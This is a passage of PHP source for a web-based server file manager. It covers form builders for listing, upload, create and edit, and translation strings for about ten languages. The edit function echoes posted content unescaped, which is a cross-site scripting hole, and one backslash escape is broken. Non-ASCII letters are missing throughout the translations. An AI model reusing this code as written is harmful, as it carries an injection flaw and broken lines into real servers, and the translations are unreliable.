		<input class="small" type="submit" name="submit' . $i . '" value=" &gt; " onfocus="activate(\'other\')" />
';

		}

		echo '	</td>
</tr>
';

	}

	echo '<tr class="listing_footer">
	<td style="text-align: right; vertical-align: top"><img src="' . $self . '?image=arrow" alt="&gt;" /></td>
	<td colspan="' . ($cols - 1) . '">
		<input type="hidden" name="num" value="' . sizeof($list) . '" />
		<input type="hidden" name="focus" value="" />
		<input type="hidden" name="olddir" value="' . html($directory) . '" />
';

	$actions = array();
	if (@is_writable(dirname($file['path']))) {
		$actions[] = 'delete';
		$actions[] = 'move';
	}
	$actions[] = 'copy';

	echo '		<select class="small" name="action_all" size="1">
		<option value="">' . str_repeat('&nbsp;', 30) . '</option>
';

	foreach ($actions as $action) {
		echo "		<option value=\"$action\">" . word($action) . "</option>
";
	}

	echo '		</select>
		<input class="small" type="submit" name="submit_all" value=" &gt; " onfocus="activate(\'other\')" />
	</td>
</tr>
';

}

function directory_choice () {
	global $directory, $homedir, $cols, $self;

	echo '<tr>
	<td colspan="' . $cols . '" id="directory">
		<a href="' . $self . '?dir=' . urlencode($homedir) . '">' . word('directory') . '</a>:
		<input type="text" name="dir" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" onfocus="activate(\'directory\')" />
		<input type="submit" name="changedir" value="' . word('change') . '" onfocus="activate(\'directory\')" />
	</td>
</tr>
';

}

function upload_box () {
	global $cols;

	echo '<tr>
	<td colspan="' . $cols . '" id="upload">
		' . word('file') . ':
		<input type="file" name="upload" onfocus="activate(\'other\')" />
		<input type="submit" name="submit_upload" value="' . word('upload') . '" onfocus="activate(\'other\')" />
	</td>
</tr>
';

}

function create_box () {
	global $cols;

	echo '<tr>
	<td colspan="' . $cols . '" id="create">
		<select name="create_type" size="1" onfocus="activate(\'create\')">
		<option value="file">' . word('file') . '</option>
		<option value="directory">' . word('directory') . '</option>
		</select>
		<input type="text" name="create_name" onfocus="activate(\'create\')" />
		<input type="submit" name="submit_create" value="' . word('create') . '" onfocus="activate(\'create\')" />
	</td>
</tr>
';

}

function edit ($file) {
	global $self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess;

	html_header();

	echo '<h2 style="margin-bottom: 3pt">' . html($file) . '</h2>

<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">

	<textarea name="content" cols="' . $editcols . '" rows="' . $editrows . '" WRAP="off">';

	if (array_key_exists('content', $_POST)) {
		echo $_POST['content'];
	} else {
		$f = fopen($file, 'r');
		while (!feof($f)) {
			echo html(fread($f, 8192));
		}
		fclose($f);
	}

	if (!empty($_POST['user'])) {
		echo "
" . $_POST['user'] . ':' . crypt($_POST['password']);
	}
	if (!empty($_POST['basic_auth'])) {
		if ($win) {
			$authfile = str_replace('\', '/', $directory) . $htpasswd;
		} else {
			$authfile = $directory . $htpasswd;
		}
		echo "
AuthType Basic
AuthName &quot;Restricted Directory&quot;
";
		echo 'AuthUserFile &quot;' . html($authfile) . "&quot;
";
		echo 'Require valid-user';
	}

	echo '</textarea>

	<hr />
';

	if ($apache && basename($file) == $htpasswd) {
		echo '
	' . word('user') . ': <input type="text" name="user" />
	' . word('password') . ': <input type="password" name="password" />
	<input type="submit" value="' . word('add') . '" />

	<hr />
';

	}

	if ($apache && basename($file) == $htaccess) {
		echo '
	<input type="submit" name="basic_auth" value="' . word('add_basic_auth') . '" />

	<hr />
';

	}

	echo '
	<input type="hidden" name="action" value="edit" />
	<input type="hidden" name="file" value="' . html($file) . '" />
	<input type="hidden" name="dir" value="' . html($directory) . '" />
	<input type="reset" value="' . word('reset') . '" id="red_button" />
	<input type="submit" name="save" value="' . word('save') . '" id="green_button" style="margin-left: 50px" />

</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';

	html_footer();

}

function spacer () {
	global $cols;

	echo '<tr>
	<td colspan="' . $cols . '" style="height: 1em"></td>
</tr>
';

}

function textfieldsize ($content) {

	$size = strlen($content) + 5;
	if ($size < 30) $size = 30;

	return $size;

}

function request_dump () {

	foreach ($_REQUEST as $key => $value) {
		echo "	<input type=\"hidden\" name=\"" . html($key) . '" value="' . html($value) . "\" />
";
	}

}

/* ------------------------------------------------------------------------- */

function html ($string) {
	global $site_charset;
	return htmlentities($string, ENT_COMPAT, $site_charset);
}

function word ($word) {
	global $words, $word_charset;
	return htmlentities($words[$word], ENT_COMPAT, $word_charset);
}

function phrase ($phrase, $arguments) {
	global $words;
	static $search;

	if (!is_array($search)) for ($i = 1; $i <= 8; $i++) $search[] = "%$i";

	for ($i = 0; $i < sizeof($arguments); $i++) {
		$arguments[$i] = nl2br(html($arguments[$i]));
	}

	$replace = array('{' => '<pre>', '}' =>'</pre>', '[' => '<b>', ']' => '</b>');

	return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase]))));

}

function getwords ($lang) {
	global $word_charset, $date_format;

	switch ($lang) {
	case 'de':

		$date_format = 'd.m.y H:i:s';
		$word_charset = 'ISO-8859-1';

		return array(
'directory' => 'Verzeichnis',
'file' => 'Datei',
'filename' => 'Dateiname',

'size' => 'Gre',
'permission' => 'Rechte',
'owner' => 'Eigner',
'group' => 'Gruppe',
'other' => 'Andere',
'functions' => 'Funktionen',

'read' => 'lesen',
'write' => 'schreiben',
'execute' => 'ausfhren',

'create_symlink' => 'Symlink erstellen',
'delete' => 'lschen',
'rename' => 'umbenennen',
'move' => 'verschieben',
'copy' => 'kopieren',
'edit' => 'editieren',
'download' => 'herunterladen',
'upload' => 'hochladen',
'create' => 'erstellen',
'change' => 'wechseln',
'save' => 'speichern',
'set' => 'setze',
'reset' => 'zurcksetzen',
'relative' => 'Pfad zum Ziel relativ',

'yes' => 'Ja',
'no' => 'Nein',
'back' => 'zurck',
'destination' => 'Ziel',
'symlink' => 'Symbolischer Link',
'no_output' => 'keine Ausgabe',

'user' => 'Benutzername',
'password' => 'Kennwort',
'add' => 'hinzufgen',
'add_basic_auth' => 'HTTP-Basic-Auth hinzufgen',

'uploaded' => '"[%1]" wurde hochgeladen.',
'not_uploaded' => '"[%1]" konnte nicht hochgeladen werden.',
'already_exists' => '"[%1]" existiert bereits.',
'created' => '"[%1]" wurde erstellt.',
'not_created' => '"[%1]" konnte nicht erstellt werden.',
'really_delete' => 'Sollen folgende Dateien wirklich gelscht werden?',
'deleted' => "Folgende Dateien wurden gelscht:
[%1]",
'not_deleted' => "Folgende Dateien konnten nicht gelscht werden:
[%1]",
'rename_file' => 'Benenne Datei um:',
'renamed' => '"[%1]" wurde in "[%2]" umbenannt.',
'not_renamed' => '"[%1] konnte nicht in "[%2]" umbenannt werden.',
'move_files' => 'Verschieben folgende Dateien:',
'moved' => "Folgende Dateien wurden nach \"[%2]\" verschoben:
[%1]",
'not_moved' => "Folgende Dateien konnten nicht nach \"[%2]\" verschoben werden:
[%1]",
'copy_files' => 'Kopiere folgende Dateien:',
'copied' => "Folgende Dateien wurden nach \"[%2]\" kopiert:
[%1]",
'not_copied' => "Folgende Dateien konnten nicht nach \"[%2]\" kopiert werden:
[%1]",
'not_edited' => '"[%1]" kann nicht editiert werden.',
'executed' => "\"[%1]\" wurde erfolgreich ausgefhrt:
{%2}",
'not_executed' => "\"[%1]\" konnte nicht erfolgreich ausgefhrt werden:
{%2}",
'saved' => '"[%1]" wurde gespeichert.',
'not_saved' => '"[%1]" konnte nicht gespeichert werden.',
'symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" wurde erstellt.',
'not_symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" konnte nicht erstellt werden.',
'permission_for' => 'Rechte fr "[%1]":',
'permission_set' => 'Die Rechte fr "[%1]" wurden auf [%2] gesetzt.',
'permission_not_set' => 'Die Rechte fr "[%1]" konnten nicht auf [%2] gesetzt werden.',
'not_readable' => '"[%1]" kann nicht gelesen werden.'
		);

	case 'fr':

		$date_format = 'd.m.y H:i:s';
		$word_charset = 'ISO-8859-1';

		return array(
'directory' => 'Rpertoire',
'file' => 'Fichier',
'filename' => 'Nom fichier',

'size' => 'Taille',
'permission' => 'Droits',
'owner' => 'Propritaire',
'group' => 'Groupe',
'other' => 'Autres',
'functions' => 'Fonctions',

'read' => 'Lire',
'write' => 'Ecrire',
'execute' => 'Excuter',

'create_symlink' => 'Crer lien symbolique',
'delete' => 'Effacer',
'rename' => 'Renommer',
'move' => 'Dplacer',
'copy' => 'Copier',
'edit' => 'Ouvrir',
'download' => 'Tlcharger sur PC',
'upload' => 'Tlcharger sur serveur',
'create' => 'Crer',
'change' => 'Changer',
'save' => 'Sauvegarder',
'set' => 'Excuter',
'reset' => 'Rinitialiser',
'relative' => 'Relatif',

'yes' => 'Oui',
'no' => 'Non',
'back' => 'Retour',
'destination' => 'Destination',
'symlink' => 'Lien symbollique',
'no_output' => 'Pas de sortie',

'user' => 'Utilisateur',
'password' => 'Mot de passe',
'add' => 'Ajouter',
'add_basic_auth' => 'add basic-authentification',

'uploaded' => '"[%1]" a t tlcharg sur le serveur.',
'not_uploaded' => '"[%1]" n a pas t tlcharg sur le serveur.',
'already_exists' => '"[%1]" existe dj.',
'created' => '"[%1]" a t cr.',
'not_created' => '"[%1]" n a pas pu tre cr.',
'really_delete' => 'Effacer le fichier?',
'deleted' => "Ces fichiers ont t dtuits:
[%1]",
'not_deleted' => "Ces fichiers n ont pu tre dtruits:
[%1]",
'rename_file' => 'Renomme fichier:',
'renamed' => '"[%1]" a t renomm en "[%2]".',
'not_renamed' => '"[%1] n a pas pu tre renomm en "[%2]".',
'move_files' => 'Dplacer ces fichiers:',
'moved' => "Ces fichiers ont t dplacs en \"[%2]\":
[%1]",
'not_moved' => "Ces fichiers n ont pas pu tre dplacs en \"[%2]\":
[%1]",
'copy_files' => 'Copier ces fichiers:',
'copied' => "Ces fichiers ont t copis en \"[%2]\":
[%1]",
'not_copied' => "Ces fichiers n ont pas pu tre copis en \"[%2]\":
[%1]",
'not_edited' => '"[%1]" ne peut tre ouvert.',
'executed' => "\"[%1]\" a t brillamment excut :
{%2}",
'not_executed' => "\"[%1]\" n a pas pu tre excut:
{%2}",
'saved' => '"[%1]" a t sauvegard.',
'not_saved' => '"[%1]" n a pas pu tre sauvegard.',
'symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" a t cre.',
'not_symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" n a pas pu tre cr.',
'permission_for' => 'Droits de "[%1]":',
'permission_set' => 'Droits de "[%1]" ont t changs en [%2].',
'permission_not_set' => 'Droits de "[%1]" n ont pas pu tre changs en[%2].',
'not_readable' => '"[%1]" ne peut pas tre ouvert.'
		);

	case 'it':

		$date_format = 'd-m-Y H:i:s';
		$word_charset = 'ISO-8859-1';

		return array(
'directory' => 'Directory',
'file' => 'File',
'filename' => 'Nome File',

'size' => 'Dimensioni',
'permission' => 'Permessi',
'owner' => 'Proprietario',
'group' => 'Gruppo',
'other' => 'Altro',
'functions' => 'Funzioni',

'read' => 'leggi',
'write' => 'scrivi',
'execute' => 'esegui',

'create_symlink' => 'crea link simbolico',
'delete' => 'cancella',
'rename' => 'rinomina',
'move' => 'sposta',
'copy' => 'copia',
'edit' => 'modifica',
'download' => 'download',
'upload' => 'upload',
'create' => 'crea',
'change' => 'cambia',
'save' => 'salva',
'set' => 'imposta',
'reset' => 'reimposta',
'relative' => 'Percorso relativo per la destinazione',

'yes' => 'Si',
'no' => 'No',
'back' => 'indietro',
'destination' => 'Destinazione',
'symlink' => 'Link simbolico',
'no_output' => 'no output',

'user' => 'User',
'password' => 'Password',
'add' => 'aggiungi',
'add_basic_auth' => 'aggiungi autenticazione base',

'uploaded' => '"[%1]"  stato caricato.',
'not_uploaded' => '"[%1]" non  stato caricato.',
'already_exists' => '"[%1]" esiste gi.',
'created' => '"[%1]"  stato creato.',
'not_created' => '"[%1]" non  stato creato.',
'really_delete' => 'Cancello questi file ?',
'deleted' => "Questi file sono stati cancellati:
[%1]",
'not_deleted' => "Questi file non possono essere cancellati:
[%1]",
'rename_file' => 'File rinominato:',
'renamed' => '"[%1]"  stato rinominato in "[%2]".',
'not_renamed' => '"[%1] non  stato rinominato in "[%2]".',
'move_files' => 'Sposto questi file:',
'moved' => "Questi file sono stati spostati in \"[%2]\":
[%1]",
'not_moved' => "Questi file non possono essere spostati in \"[%2]\":
[%1]",
'copy_files' => 'Copio questi file',
'copied' => "Questi file sono stati copiati in \"[%2]\":
[%1]",
'not_copied' => "Questi file non possono essere copiati in \"[%2]\":
[%1]",
'not_edited' => '"[%1]" non pu essere modificato.',
'executed' => "\"[%1]\"  stato eseguito con successo:
{%2}",
'not_executed' => "\"[%1]\" non  stato eseguito con successo
{%2}",
'saved' => '"[%1]"  stato salvato.',
'not_saved' => '"[%1]" non  stato salvato.',
'symlinked' => 'Il link siambolico da "[%2]" a "[%1]"  stato creato.',
'not_symlinked' => 'Il link siambolico da "[%2]" a "[%1]" non  stato creato.',
'permission_for' => 'Permessi di "[%1]":',
'permission_set' => 'I permessi di "[%1]" sono stati impostati [%2].',
'permission_not_set' => 'I permessi di "[%1]" non sono stati impostati [%2].',
'not_readable' => '"[%1]" non pu essere letto.'
		);

	case 'nl':

		$date_format = 'n/j/y H:i:s';
		$word_charset = 'ISO-8859-1';

		return array(
'directory' => 'Directory',
'file' => 'Bestand',
'filename' => 'Bestandsnaam',

'size' => 'Grootte',
'permission' => 'Bevoegdheid',
'owner' => 'Eigenaar',
'group' => 'Groep',
'other' => 'Anderen',
'functions' => 'Functies',

'read' => 'lezen',
'write' => 'schrijven',
'execute' => 'uitvoeren',

'create_symlink' => 'maak symlink',
'delete' => 'verwijderen',
'rename' => 'hernoemen',
'move' => 'verplaatsen',
'copy' => 'kopieren',
'edit' => 'bewerken',
'download' => 'downloaden',
'upload' => 'uploaden',
'create' => 'aanmaken',
'change' => 'veranderen',
'save' => 'opslaan',
'set' => 'instellen',
'reset' => 'resetten',
'relative' => 'Relatief pat naar doel',

'yes' => 'Ja',
'no' => 'Nee',
'back' => 'terug',
'destination' => 'Bestemming',
'symlink' => 'Symlink',
'no_output' => 'geen output',

'user' => 'Gebruiker',
'password' => 'Wachtwoord',
'add' => 'toevoegen',
'add_basic_auth' => 'add basic-authentification',

'uploaded' => '"[%1]" is verstuurd.',
'not_uploaded' => '"[%1]" kan niet worden verstuurd.',
'already_exists' => '"[%1]" bestaat al.',
'created' => '"[%1]" is aangemaakt.',
'not_created' => '"[%1]" kan niet worden aangemaakt.',
'really_delete' => 'Deze bestanden verwijderen?',
'deleted' => "Deze bestanden zijn verwijderd:
[%1]",
'not_deleted' => "Deze bestanden konden niet worden verwijderd:
[%1]",
'rename_file' => 'Bestandsnaam veranderen:',
'renamed' => '"[%1]" heet nu "[%2]".',
'not_renamed' => '"[%1] kon niet worden veranderd in "[%2]".',
'move_files' => 'Verplaats deze bestanden:',
'moved' => "Deze bestanden zijn verplaatst naar \"[%2]\":
[%1]",
'not_moved' => "Kan deze bestanden niet verplaatsen naar \"[%2]\":
[%1]",
'copy_files' => 'Kopieer deze bestanden:',
'copied' => "Deze bestanden zijn gekopieerd naar \"[%2]\":
[%1]",
'not_copied' => "Deze bestanden kunnen niet worden gekopieerd naar \"[%2]\":
[%1]",
'not_edited' => '"[%1]" kan niet worden bewerkt.',
'executed' => "\"[%1]\" is met succes uitgevoerd:
{%2}",
'not_executed' => "\"[%1]\" is niet goed uitgevoerd:
{%2}",
'saved' => '"[%1]" is opgeslagen.',
'not_saved' => '"[%1]" is niet opgeslagen.',
'symlinked' => 'Symlink van "[%2]" naar "[%1]" is aangemaakt.',
'not_symlinked' => 'Symlink van "[%2]" naar "[%1]" is niet aangemaakt.',
'permission_for' => 'Bevoegdheid voor "[%1]":',
'permission_set' => 'Bevoegdheid van "[%1]" is ingesteld op [%2].',
'permission_not_set' => 'Bevoegdheid van "[%1]" is niet ingesteld op [%2].',
'not_readable' => '"[%1]" kan niet worden gelezen.'
		);

	case 'se':

		$date_format = 'n/j/y H:i:s';
		$word_charset = 'ISO-8859-1';
 
		return array(
'directory' => 'Mapp',
'file' => 'Fil',
'filename' => 'Filnamn',
 
'size' => 'Storlek',
'permission' => 'Skerhetsniv',
'owner' => 'gare',
'group' => 'Grupp',
'other' => 'Andra',
'functions' => 'Funktioner',
 
'read' => 'Ls',
'write' => 'Skriv',
'execute' => 'Utfr',
 
'create_symlink' => 'Skapa symlink',
'delete' => 'Radera',
'rename' => 'Byt namn',
'move' => 'Flytta',
'copy' => 'Kopiera',
'edit' => 'ndra',
'download' => 'Ladda ner',
'upload' => 'Ladda upp',
'create' => 'Skapa',
'change' => 'ndra',
'save' => 'Spara',
'set' => 'Markera',
'reset' => 'Tm',
'relative' => 'Relative path to target',
 
'yes' => 'Ja',
'no' => 'Nej',
'back' => 'Tillbaks',
'destination' => 'Destination',
'symlink' => 'Symlink',
'no_output' => 'no output',
 
'user' => 'Anvndare',
'password' => 'Lsenord',
'add' => 'Lgg till',
'add_basic_auth' => 'add basic-authentification',
 
'uploaded' => '"[%1]" har laddats upp.',
'not_uploaded' => '"[%1]" kunde inte laddas upp.',
'already_exists' => '"[%1]" finns redan.',
'created' => '"[%1]" har skapats.',
'not_created' => '"[%1]" kunde inte skapas.',
'really_delete' => 'Radera dessa filer?',
'deleted' => "De hr filerna har raderats:
[%1]",
'not_deleted' => "Dessa filer kunde inte raderas:
[%1]",
'rename_file' => 'Byt namn p fil:',
'renamed' => '"[%1]" har bytt namn till "[%2]".',
'not_renamed' => '"[%1] kunde inte dpas om till "[%2]".',
'move_files' => 'Flytta dessa filer:',
'moved' => "Dessa filer har flyttats till \"[%2]\":
[%1]",
'not_moved' => "Dessa filer kunde inte flyttas till \"[%2]\":
[%1]",
'copy_files' => 'Kopiera dessa filer:',
'copied' => "Dessa filer har kopierats till \"[%2]\":
[%1]",
'not_copied' => "Dessa filer kunde inte kopieras till \"[%2]\":
[%1]",
'not_edited' => '"[%1]" kan inte ndras.',
'executed' => "\"[%1]\" har utfrts:
{%2}",
'not_executed' => "\"[%1]\" kunde inte utfras:
{%2}",
'saved' => '"[%1]" har sparats.',
'not_saved' => '"[%1]" kunde inte sparas.',
'symlinked' => 'Symlink frn "[%2]" till "[%1]" har skapats.',
'not_symlinked' => 'Symlink frn "[%2]" till "[%1]" kunde inte skapas.',
'permission_for' => 'Rttigheter fr "[%1]":',
'permission_set' => 'Rttigheter fr "[%1]" ndrades till [%2].',
'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
'not_readable' => '"[%1]" kan inte lsas.'
		);

	case 'sp':

		$date_format = 'j/n/y H:i:s';
		$word_charset = 'ISO-8859-1';

		return array(
'directory' => 'Directorio',
'file' => 'Archivo',
'filename' => 'Nombre Archivo',

'size' => 'Tamao',
'permission' => 'Permisos',
'owner' => 'Propietario',
'group' => 'Grupo',
'other' => 'Otros',
'functions' => 'Funciones',

'read' => 'lectura',
'write' => 'escritura',
'execute' => 'ejecucin',

'create_symlink' => 'crear enlace',
'delete' => 'borrar',
'rename' => 'renombrar',
'move' => 'mover',
'copy' => 'copiar',
'edit' => 'editar',
'download' => 'bajar',
'upload' => 'subir',
'create' => 'crear',
'change' => 'cambiar',
'save' => 'salvar',
'set' => 'setear',
'reset' => 'resetear',
'relative' => 'Path relativo',

'yes' => 'Si',
'no' => 'No',
'back' => 'atrs',
'destination' => 'Destino',
'symlink' => 'Enlace',
'no_output' => 'sin salida',

'user' => 'Usuario',
'password' => 'Clave',
'add' => 'agregar',
'add_basic_auth' => 'agregar autentificacin bsica',

'uploaded' => '"[%1]" ha sido subido.',
'not_uploaded' => '"[%1]" no pudo ser subido.',
'already_exists' => '"[%1]" ya existe.',
'created' => '"[%1]" ha sido creado.',
'not_created' => '"[%1]" no pudo ser creado.',
'really_delete' => 'Borra estos archivos?',
'deleted' => "Estos archivos han sido borrados:
[%1]",
'not_deleted' => "Estos archivos no pudieron ser borrados:
[%1]",
'rename_file' => 'Renombra archivo:',
'renamed' => '"[%1]" ha sido renombrado a "[%2]".',
'not_renamed' => '"[%1] no pudo ser renombrado a "[%2]".',
'move_files' => 'Mover estos archivos:',
'moved' => "Estos archivos han sido movidos a \"[%2]\":
[%1]",
'not_moved' => "Estos archivos no pudieron ser movidos a \"[%2]\":
[%1]",
'copy_files' => 'Copiar estos archivos:',
'copied' => "Estos archivos han sido copiados a  \"[%2]\":
[%1]",
'not_copied' => "Estos archivos no pudieron ser copiados \"[%2]\":
[%1]",
'not_edited' => '"[%1]" no pudo ser editado.',
'executed' => "\"[%1]\" ha sido ejecutado correctamente:
{%2}",
'not_executed' => "\"[%1]\" no pudo ser ejecutado correctamente:
{%2}",
'saved' => '"[%1]" ha sido salvado.',
'not_saved' => '"[%1]" no pudo ser salvado.',
'symlinked' => 'Enlace desde "[%2]" a "[%1]" ha sido creado.',
'not_symlinked' => 'Enlace desde "[%2]" a "[%1]" no pudo ser creado.',
'permission_for' => 'Permisos de "[%1]":',
'permission_set' => 'Permisos de "[%1]" fueron seteados a [%2].',
'permission_not_set' => 'Permisos de "[%1]" no pudo ser seteado a [%2].',
'not_readable' => '"[%1]" no pudo ser ledo.'
		);

	case 'dk':

		$date_format = 'n/j/y H:i:s';
		$word_charset = 'ISO-8859-1';

		return array(
'directory' => 'Mappe',
'file' => 'Fil',
'filename' => 'Filnavn',

'size' => 'Strrelse',
'permission' => 'Rettighed',
'owner' => 'Ejer',
'group' => 'Gruppe',
'other' => 'Andre',
'functions' => 'Funktioner',

'read' => 'ls',
'write' => 'skriv',
'execute' => 'kr',

'create_symlink' => 'opret symbolsk link',
'delete' => 'slet',
'rename' => 'omdb',
'move' => 'flyt',
'copy' => 'kopier',
'edit' => 'rediger',
'download' => 'download',
'upload' => 'upload',
'create' => 'opret',
'change' => 'skift',
'save' => 'gem',
'set' => 'st',
'reset' => 'nulstil',
'relative' => 'Relativ sti til valg',

'yes' => 'Ja',
'no' => 'Nej',
'back' => 'tilbage',
'destination' => 'Distination',
'symlink' => 'Symbolsk link',
'no_output' => 'ingen resultat',

'user' => 'Bruger',
'password' => 'Kodeord',
'add' => 'tilfj',
'add_basic_auth' => 'tilfj grundliggende rettigheder',

'uploaded' => '"[%1]" er blevet uploaded.',
'not_uploaded' => '"[%1]" kunnu ikke uploades.',
'already_exists' => '"[%1]" findes allerede.',
'created' => '"[%1]" er blevet oprettet.',
'not_created' => '"[%1]" kunne ikke oprettes.',
'really_delete' => 'Slet disse filer?',
'deleted' => "Disse filer er blevet slettet:
[%1]",
'not_deleted' => "Disse filer kunne ikke slettes:
[%1]",
'rename_file' => 'Omdd fil:',
'renamed' => '"[%1]" er blevet omdbt til "[%2]".',
'not_renamed' => '"[%1] kunne ikke omdbes til "[%2]".',
'move_files' => 'Flyt disse filer:',
'moved' => "Disse filer er blevet flyttet til \"[%2]\":
[%1]",
'not_moved' => "Disse filer kunne ikke flyttes til \"[%2]\":
[%1]",
'copy_files' => 'Kopier disse filer:',
'copied' => "Disse filer er kopieret til \"[%2]\":
[%1]",
'not_copied' => "Disse filer kunne ikke kopieres til \"[%2]\":
[%1]",
'not_edited' => '"[%1]" kan ikke redigeres.',
'executed' => "\"[%1]\" er blevet krt korrekt:
{%2}",
'not_executed' => "\"[%1]\" kan ikke kres korrekt:
{%2}",
'saved' => '"[%1]" er blevet gemt.',
'not_saved' => '"[%1]" kunne ikke gemmes.',
'symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" er blevet oprettet.',
'not_symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" kunne ikke oprettes.',
'permission_for' => 'Rettigheder for "[%1]":',
'permission_set' => 'Rettigheder for "[%1]" blev sat til [%2].',
'permission_not_set' => 'Rettigheder for "[%1]" kunne ikke sttes til [%2].',
'not_readable' => '"[%1]" Kan ikke lses.'
		);

	case 'tr':

		$date_format = 'n/j/y H:i:s';
		$word_charset = 'ISO-8859-1';

		return array(
'directory' => 'Klasr',
'file' => 'Dosya',
'filename' => 'dosya adi',

'size' => 'boyutu',
'permission' => 'Izin',
'owner' => 'sahib',
'group' => 'Grup',
'other' => 'Digerleri',
'functions' => 'Fonksiyonlar',

'read' => 'oku',
'write' => 'yaz',
'execute' => 'alistir',

'create_symlink' => 'yarat symlink',
'delete' => 'sil',
'rename' => 'ad degistir',
'move' => 'tasi',
'copy' => 'kopyala',
'edit' => 'dzenle',
'download' => 'indir',
'upload' => 'ykle',
'create' => 'create',
'change' => 'degistir',
'save' => 'kaydet',
'set' => 'ayar',
'reset' => 'sifirla',
'relative' => 'Hedef yola gre',

'yes' => 'Evet',
'no' => 'Hayir',
'back' => 'Geri',
'destination' => 'Hedef',
'symlink' => 'Ksa yol',
'no_output' => 'ikti yok',

'user' => 'Kullanici',
'password' => 'Sifre',
'add' => 'ekle',
'add_basic_auth' => 'ekle basit-authentification',

'uploaded' => '"[%1]" yklendi.',
'not_uploaded' => '"[%1]" yklenemedi.',
'already_exists' => '"[%1]" kullanilmakta.',
'created' => '"[%1]" olusturuldu.',
'not_created' => '"[%1]" olusturulamadi.',
'really_delete' => 'Bu dosyalari silmek istediginizden eminmisiniz?',
'deleted' => "Bu dosyalar silindi:
[%1]",
'not_deleted' => "Bu dosyalar silinemedi:
[%1]",
'rename_file' => 'Adi degisen dosya:',
'renamed' => '"[%1]" adili dosyanin yeni adi "[%2]".',
'not_renamed' => '"[%1] adi degistirilemedi "[%2]" ile.',
'move_files' => 'Tasinan dosyalar:',
'moved' => "Bu dosyalari tasidiginiz yer \"[%2]\":
[%1]",
'not_moved' => "Bu dosyalari tasiyamadiginiz yer \"[%2]\":
[%1]",
'copy_files' => 'Kopyalanan dosyalar:',
'copied' => "Bu dosyalar kopyalandi \"[%2]\":
[%1]",
'not_copied' => "Bu dosyalar kopyalanamiyor \"[%2]\":
[%1]",
'not_edited' => '"[%1]" dzenlenemiyor.',
'executed' => "\"[%1]\" basariyla alistirildi:
{%2}",
'not_executed' => "\"[%1]\" alistirilamadi:
{%2}",
'saved' => '"[%1]" kaydedildi.',
'not_saved' => '"[%1]" kaydedilemedi.',
'symlinked' => '"[%2]" den "[%1]" e ksayol oluturuldu.',
'not_symlinked' => '"[%2]"den "[%1]" e ksayol oluturulamad.',
'permission_for' => 'Izinler "[%1]":',
'permission_set' => 'Izinler "[%1]" degistirildi [%2].',
'permission_not_set' => 'Izinler "[%1]" degistirilemedi [%2].',
'not_readable' => '"[%1]" okunamiyor.'
		);

	case 'cs':

		$date_format = 'd.m.y H:i:s';
		$word_charset = 'UTF-8';

		return array(
'directory' => 'Adres',
'file' => 'Soubor',
'filename' => 'Jmno souboru',

'size' => 'Velikost',
'permission' => 'Prva',
'owner' => 'Vlastnk',
'group' => 'Skupina',
'other' => 'Ostatn',
'functions' => 'Funkce',

'read' => 'ten',
'write' => 'Zpis',
'execute' => 'Spoutn',

'create_symlink' => 'Vytvoit symbolick odkaz',
'delete' => 'Smazat',
'rename' => 'Pejmenovat',
'move' => 'Pesunout',
'copy' => 'Zkoprovat',
'edit' => 'Otevt',
'download' => 'Sthnout',
'upload' => 'Nahraj na server',
'create' => 'Vytvoit',
'change' => 'Zmnit',
'save' => 'Uloit',
'set' => 'Nastavit',
'reset' => 'zpt',
'relative' => 'Relatif',

'yes' => 'Ano',
'no' => 'Ne',
'back' => 'Zpt',
'destination' => 'Destination',
'symlink' => 'Symbolick odkaz',
'no_output' => 'Przdn vstup',

'user' => 'Uivatel',
'password' => 'Heslo',
'add' => 'Pidat',
'add_basic_auth' => 'pidej zkladn autentizaci',

'uploaded' => 'Soubor "[%1]" byl nahrn na server.',
'not_uploaded' => 'Soubor "[%1]" nebyl nahrn na server.',
'already_exists' => 'Soubor "[%1]" u exituje.',
'created' => 'Soubor "[%1]" byl vytvoen.',
'not_created' => 'Soubor "[%1]" nemohl bt  vytvoen.',
'really_delete' => 'Vymazat soubor?',
'deleted' => "Byly vymazny tyto soubory:
[%1]",
'not_deleted' => "Tyto soubory nemohly bt vytvoeny:
[%1]",
'rename_file' => 'Pejmenuj soubory:',
'renamed' => 'Soubor "[%1]" byl pejmenovn na "[%2]".',
'not_renamed' => 'Soubor "[%1]" nemohl bt pejmenovn na "[%2]".',
'move_files' => 'Pemstit tyto soubory:',
'moved' => "Tyto soubory byly pemstny do \"[%2]\":
[%1]",
'not_moved' => "Tyto soubory nemohly bt pemstny do \"[%2]\":
[%1]",
'copy_files' => 'Zkoprovat tyto soubory:',
'copied' => "Tyto soubory byly zkoprovny do \"[%2]\":
[%1]",
'not_copied' => "Tyto soubory nemohly bt zkoprovny do \"[%2]\":
[%1]",
'not_edited' => 'Soubor "[%1]" nemohl bt oteven.',
'executed' => "SOubor \"[%1]\" byl sputn :
{%2}",
'not_executed' => "Soubor \"[%1]\" nemohl bt sputn:
{%2}",
'saved' => 'Soubor "[%1]" byl uloen.',
'not_saved' => 'Soubor "[%1]" nemohl bt uloen.',
'symlinked' => 'Byl vyvoen symbolick odkaz "[%2]" na soubor "[%1]".',
'not_symlinked' => 'Symbolick odkaz "[%2]" na soubor "[%1]" nemohl bt vytvoen.',
'permission_for' => 'Prva k "[%1]":',
'permission_set' => 'Prva k "[%1]" byla zmnna na [%2].',
'permission_not_set' => 'Prva k "[%1]" nemohla bt zmnna na [%2].',
'not_readable' => 'Soubor "[%1]" nen mono pest.'
		);

	case 'en':
	default:

		$date_format = 'n/j/y H:i:s';
		$word_charset = 'ISO-8859-1';

		return array(
'directory' => 'Directory',
'file' => 'File',
'filename' => 'Filename',

'size' => 'Size',
'permission' => 'Permission',
'owner' => 'Owner',
'group' => 'Group',
'other' => 'Others',
'functions' => 'Functions',

'read' => 'read',
'write' => 'write',
'execute' => 'execute',

'create_symlink' => 'create symlink',
'delete' => 'delete',
